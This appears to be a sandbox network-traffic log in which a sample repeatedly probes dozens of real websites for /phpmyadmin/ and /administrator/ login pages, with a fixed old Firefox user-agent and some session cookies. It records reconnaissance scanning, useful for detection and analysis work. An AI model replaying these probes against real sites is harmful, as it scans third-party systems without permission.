Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: tgcan.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: smithstar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: iconcap.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: devnetmedia.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: recipe-for-kids.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: jayshreeautomation.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /404.html HTTP/1.1Host: conalcorp.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: mgbymags.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: meurrens.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: guymassey.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: wakux2.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: antoniocorts.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: blackdesign.com.sgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.rosetre.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=57cae84e42777c96375a154584ecac4b9a349eab-1703038400; __cf_bm=oP6ilQZ0dnirqv0n7MtsXN4Xo36OUG0HeBhu77E.omM-1703038400-1-AWuOgWAbXkFAfwvE+HLotNFbRM5BGHGMTY4pZjeWK3a0SS4u21Z4qoaok6R7TImAX0QzIT89e8W/7ZM55sXGAbE=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://walshfam.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://filmboxstudios.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://ornos.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipCookie: secure_customer_sig=; localization=AU; _shopify_s=45b1ae4b-ea13-4346-a0c4-30ace4b3496e; _shopify_y=986c823c-bca7-4440-8ba4-a7c0f42fd11c; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.ecochild.com.au/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://mobiamericas.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://activegraphics.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.orangutech.com/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.newriverclimbing.com/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://activegraphics.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=418218dce1ee6c20da692277ffb53164User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.guymassey.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://bvox.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://justinsweet.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.greenlawnfertilizing.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.geoffreynolds.com.au/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipCookie: secure_customer_sig=; localization=US; _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://artusopastry.com/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; is_mobile=0; language=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.lisvankooten.com/administrator/
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://lsmnutrition.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.devnetmedia.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
